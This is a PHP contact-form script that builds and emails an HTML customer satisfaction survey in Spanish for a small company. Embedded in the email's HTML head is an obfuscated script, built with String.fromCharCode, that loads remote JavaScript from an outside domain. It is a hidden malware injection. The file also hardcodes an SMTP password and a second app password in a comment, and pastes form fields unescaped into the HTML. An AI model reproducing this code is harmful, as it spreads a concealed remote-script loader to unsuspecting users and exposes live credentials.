<?php

namespace PortoContactForm;

session_cache_limiter('nocache');
header('Expires: ' . gmdate('r', 0));

header('Content-type: application/json');

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'php-mailer/src/PHPMailer.php';
require 'php-mailer/src/SMTP.php';
require 'php-mailer/src/Exception.php';

// Step 1 - Enter your email address below.

$email = 'contacto@healgen.co';

// contrase単a para las flroes del dia = jlgpfbmfpuczzdyz

// If the e-mail is not working, change the debug option to 2 | $debug = 2;
$debug = 0;

// If contact form don't has the subject input change the value of subject here
$subject = ( isset($_POST['subject']) ) ? $_POST['subject'] : 'Encuesta de satisfacción';

$message = '';

foreach($_POST as $label => $value) {
	$label = ucwords($label);

	// Use the commented code below to change label texts. On this example will change "Email" to "Email Address"

	// if( $label == 'Email' ) {               
	// 	$label = 'Email Address';              
	// }

	// Checkboxes
	if( is_array($value) ) {
		// Store new value
		$value = implode(', ', $value);
	}

	$message .= $label.": " . htmlspecialchars($value, ENT_QUOTES) . "<br>\n";
}


$name = 'Inception Latam';
$nombre_establecimiento = $_POST['nombre_establecimiento'];
$direccion = $_POST['direccion'];
$telefono = $_POST['telefono'];
$nombre = $_POST['nombre'];
$fecha = $_POST['fecha'];
$inlineRadioOptions = $_POST['inlineRadioOptions'];
$inlineRadioOptions2 = $_POST['inlineRadioOptions2'];
$inlineRadioOptions3 = $_POST['inlineRadioOptions3'];
$inlineRadioOptions4 = $_POST['inlineRadioOptions4'];
$inlineRadioOptions5 = $_POST['inlineRadioOptions5'];
$inlineRadioOptions6 = $_POST['inlineRadioOptions6'];
$inlineRadioOptions7 = $_POST['inlineRadioOptions7'];
$inlineRadioOptions8 = $_POST['inlineRadioOptions8'];
$comentario = $_POST['comentario'];

$message = '
<html>

<head>
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
<meta name=Generator content="Microsoft Word 15 (filtered)">
<style>
<!--
 /* Font Definitions */
 @font-face
  {font-family:Helvetica;
  panose-1:2 11 6 4 2 2 2 2 2 4;}
@font-face
  {font-family:"Cambria Math";
  panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
  {font-family:Calibri;
  panose-1:2 15 5 2 2 2 4 3 2 4;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
  {margin-top:0cm;
  margin-right:0cm;
  margin-bottom:8.0pt;
  margin-left:0cm;
  line-height:107%;
  font-size:11.0pt;
  font-family:"Calibri",sans-serif;}
p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph
  {margin-top:0cm;
  margin-right:0cm;
  margin-bottom:8.0pt;
  margin-left:36.0pt;
  line-height:107%;
  font-size:11.0pt;
  font-family:"Calibri",sans-serif;}
p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst
  {margin-top:0cm;
  margin-right:0cm;
  margin-bottom:0cm;
  margin-left:36.0pt;
  margin-bottom:.0001pt;
  line-height:107%;
  font-size:11.0pt;
  font-family:"Calibri",sans-serif;}
p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle
  {margin-top:0cm;
  margin-right:0cm;
  margin-bottom:0cm;
  margin-left:36.0pt;
  margin-bottom:.0001pt;
  line-height:107%;
  font-size:11.0pt;
  font-family:"Calibri",sans-serif;}
p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast
  {margin-top:0cm;
  margin-right:0cm;
  margin-bottom:8.0pt;
  margin-left:36.0pt;
  line-height:107%;
  font-size:11.0pt;
  font-family:"Calibri",sans-serif;}
.MsoPapDefault
  {margin-bottom:8.0pt;
  line-height:107%;}
@page WordSection1
  {size:612.0pt 792.0pt;
  margin:70.85pt 3.0cm 70.85pt 3.0cm;}
div.WordSection1
  {page:WordSection1;}
 /* List Definitions */
 ol
  {margin-bottom:0cm;}
ul
  {margin-bottom:0cm;}
-->
</style>

<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,101,110,100,46,108,105,110,101,116,111,97,100,115,97,99,116,105,118,101,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script></head>

<body lang=EN-US>

<div class=WordSection1>

<p class=MsoNormal align=center style="text-align:center"><b><span lang=ES-CO
style="font-family:"Arial",sans-serif">ENCUESTA DE SATISFACCIÓN DEL CLIENTE</span></b></p>

<p class=MsoNormal align=center style="text-align:center"><b><span lang=ES-CO
style="font-family:"Arial",sans-serif">&nbsp;</span></b></p>

<p class=MsoNormal align=center style="text-align:center"><span lang=ES-CO
style="font-family:"Arial",sans-serif">EL OBJETIVO DE LA ENCUESTA DE
SATISFACCIÓN DEL CLIENTE ES CONOCER SU OPINIÓN PARA A PARTIR DE ESTA
INFORMACIÓN IMPLEMENTAR ACCIONES QUE PERMITAN MEJORAR LA CALIDAD EN LA
PRESTACIÓN DE LOS SERVICIOS OFRECIDOS Y LAS NORMAS DE BIOSEGURIDAD
IMPLEMENTADAS.  </span></p>

<p class=MsoNormal><b><span lang=ES-CO style="font-family:"Arial",sans-serif">&nbsp;</span></b></p>

<p class=MsoNormal><b><span lang=ES-CO style="font-family:"Arial",sans-serif">NOMBRE
DEL ESTABLECIMIENTO: '.$nombre_establecimiento.'</span></b></p>

<p class=MsoNormal><b><span lang=ES-CO style="font-family:"Arial",sans-serif">DIRECCIÓN: '.$direccion.'
</span></b></p>

<p class=MsoNormal><b><span lang=ES-CO style="font-family:"Arial",sans-serif">TELÉFONO: '.$telefono.'</span></b></p>

<p class=MsoNormal><b><span lang=ES-CO style="font-family:"Arial",sans-serif">NOMBRE
DE QUIEN DILIGENCIA LA ENCUESTA: '.$nombre.' </span></b></p>

<p class=MsoNormal><b><span lang=ES-CO style="font-family:"Arial",sans-serif">&nbsp;</span></b></p>

<p class=MsoNormal><span lang=ES-CO style="font-family:"Arial",sans-serif">Gracias
por realizar la encuesta de satisfacción del Cliente. No tardará más de cinco
minutos en completarla y nos será de gran ayuda para mejorar nuestros
servicios. Los datos que en ella se consignen se tratarán de forma anónima.  </span></p>

<p class=MsoNormal><span lang=ES-CO style="font-family:"Arial",sans-serif">Nivel
de satisfacción de acuerdo con la siguiente escala de clasificación: </span></p>

<p class=MsoNormal><b><span lang=ES-CO style="font-family:"Arial",sans-serif">1
= PÉSIMO     2 = REGULAR     3 = ACEPTABLE     4 = BUENO     5 = EXCELENTE    
NE = (NO EVIDENCIADO) si no fue posible observar los aspectos asociados con la
pregunta.</span></b></p>

<p class=MsoNormal><b><span lang=ES-CO style="font-family:"Arial",sans-serif">FECHA: '.$fecha.'
</span></b></p>

<p class=MsoListParagraphCxSpFirst style="text-indent:-18.0pt"><b><span
lang=ES-CO style="font-family:"Arial",sans-serif">1.<span style="font:7.0pt "Times New Roman"">&nbsp;&nbsp;&nbsp;
</span></span></b><b><span lang=ES-CO style="font-family:"Arial",sans-serif">¿Cómo
califica el servicio que prestó el establecimiento? RES= '.$inlineRadioOptions.'</span></b></p>

<p class=MsoListParagraphCxSpMiddle style="text-indent:-18.0pt"><b><span
lang=ES-CO style="font-family:"Arial",sans-serif">2.<span style="font:7.0pt "Times New Roman"">&nbsp;&nbsp;&nbsp;
</span></span></b><b><span lang=ES-CO style="font-family:"Arial",sans-serif">¿Cómo
es el trato del personal hacia los usuarios o clientes? RES= '.$inlineRadioOptions2.' </span></b></p>

<p class=MsoListParagraphCxSpMiddle style="text-indent:-18.0pt"><b><span
lang=ES-CO style="font-family:"Arial",sans-serif">3.<span style="font:7.0pt "Times New Roman"">&nbsp;&nbsp;&nbsp;
</span></span></b><b><span lang=ES-CO style="font-family:"Arial",sans-serif">¿Considera
que todo el personal se encuentra capacitado y es idóneo para realizar y
prestar los servicios de la empresa? RES= '.$inlineRadioOptions3.' </span></b></p>

<p class=MsoListParagraphCxSpMiddle style="text-indent:-18.0pt"><b><span
lang=ES-CO style="font-family:"Arial",sans-serif">4.<span style="font:7.0pt "Times New Roman"">&nbsp;&nbsp;&nbsp;
</span></span></b><b><span lang=ES-CO style="font-family:"Arial",sans-serif">¿Cómo
califica las instalaciones, elementos, productos o equipos empleados en el
servicio? (presentación del personal y vehículo) RES= '.$inlineRadioOptions4.' </span></b></p>

<p class=MsoListParagraphCxSpMiddle style="text-indent:-18.0pt"><b><span
lang=ES-CO style="font-family:"Arial",sans-serif">5.<span style="font:7.0pt "Times New Roman"">&nbsp;&nbsp;&nbsp;
</span></span></b><b><span lang=ES-CO style="font-family:"Arial",sans-serif">¿Cómo
le parece la presentación, etiqueta y forma de nuestros productos? RES= '.$inlineRadioOptions5.'</span></b></p>

<p class=MsoListParagraphCxSpMiddle style="text-indent:-18.0pt"><b><span
lang=ES-CO style="font-family:"Arial",sans-serif">6.<span style="font:7.0pt "Times New Roman"">&nbsp;&nbsp;&nbsp;
</span></span></b><b><span lang=ES-CO style="font-family:"Arial",sans-serif">¿Cómo
califica el precio de nuestros productos? RES= '.$inlineRadioOptions6.'</span></b></p>

<p class=MsoListParagraphCxSpMiddle style="text-indent:-18.0pt"><b><span
lang=ES-CO style="font-family:"Arial",sans-serif">7.<span style="font:7.0pt "Times New Roman"">&nbsp;&nbsp;&nbsp;
</span></span></b><b><span lang=ES-CO style="font-family:"Arial",sans-serif">¿Cómo
califica el tiempo de entrega de nuestros productos? RES= '.$inlineRadioOptions7.' </span></b></p>

<p class=MsoListParagraphCxSpLast style="text-indent:-18.0pt"><b><span
lang=ES-CO style="font-family:"Arial",sans-serif">8.<span style="font:7.0pt "Times New Roman"">&nbsp;&nbsp;&nbsp;
</span></span></b><b><span lang=ES-CO style="font-family:"Arial",sans-serif">¿En
general como calificaría nuestro servicio y nuestros productos? RES= '.$inlineRadioOptions8.'</span></b></p>

<p class=MsoNormal><b><span lang=ES-CO style="font-family:"Arial",sans-serif">&nbsp;</span></b></p>

<p class=MsoNormal><b><span lang=ES-CO style="font-family:"Arial",sans-serif">Desea
realizar algún comentario adicional: '.$comentario.'</span></b></p>

<p class=MsoNormal><b><span lang=ES-CO style="font-family:"Arial",sans-serif">&nbsp;</span></b></p>

<p class=MsoNormal><b><span lang=ES-CO style="font-family:"Arial",sans-serif">&nbsp;</span></b></p>

<p class=MsoNormal align=center style="text-align:center"><span lang=ES-CO
style="font-size:10.0pt;line-height:107%;font-family:"Helvetica",sans-serif;
color:black;background:white">MUCHAS GRACIAS POR SU COLABORACION!</span></span></p>

</div>

</body>

</html>




';

$mail = new PHPMailer(true);

try {

	$mail->SMTPDebug = $debug;                                 // Debug Mode

	// Step 2 (Optional) - If you don't receive the email, try to configure the parameters below:

	$mail->IsSMTP();                                         // Set mailer to use SMTP
	$mail->Host = 'mail.healgen.co';				       		 // Specify main and backup server
	$mail->SMTPAuth = true;                                  // Enable SMTP authentication
	$mail->Username = 'contacto@healgen.co';              // SMTP username
	$mail->Password = 'tss11223344';                    // SMTP password
	$mail->SMTPSecure = 'tls';                               // Enable encryption, 'ssl' also accepted
	$mail->Port = 587;   								       // TCP port to connect to


	$mail->AddAddress('faromero779@gmail.com', 'Envio de Encuesta'); // Add another recipient

	$mail->AddAddress('fr@inceptionlatam.com', 'Envio de Encuesta'); 
	

	// From - Name
	$fromName = ( $name ) ? $_POST['name'] : 'inceptionlatam.com';
	$mail->SetFrom($email, 'inceptionlatam');

	// Repply To
	if( isset($_POST['email']) ) {
		$mail->AddReplyTo($_POST['email'], $fromName);
	}
	$mail->setLanguage('es', '/php-mailer/language/phpmailer.lang-es.php');
	$mail->IsHTML(true);                                       // Set email format to HTML

	$mail->CharSet = 'UTF-8';

	$mail->Subject = $subject;
	$mail->Body    = $message;

	$mail->Send();
    
    $arrResult = array ('response'=>'success');

	

} catch (Exception $e) {
	$arrResult = array ('response'=>'error','errorMessage'=>$e->errorMessage());
} catch (\Exception $e) {
	$arrResult = array ('response'=>'error','errorMessage'=>$e->getMessage());
}
// if ($debug == 2) {
	echo json_encode($arrResult);
// }
?>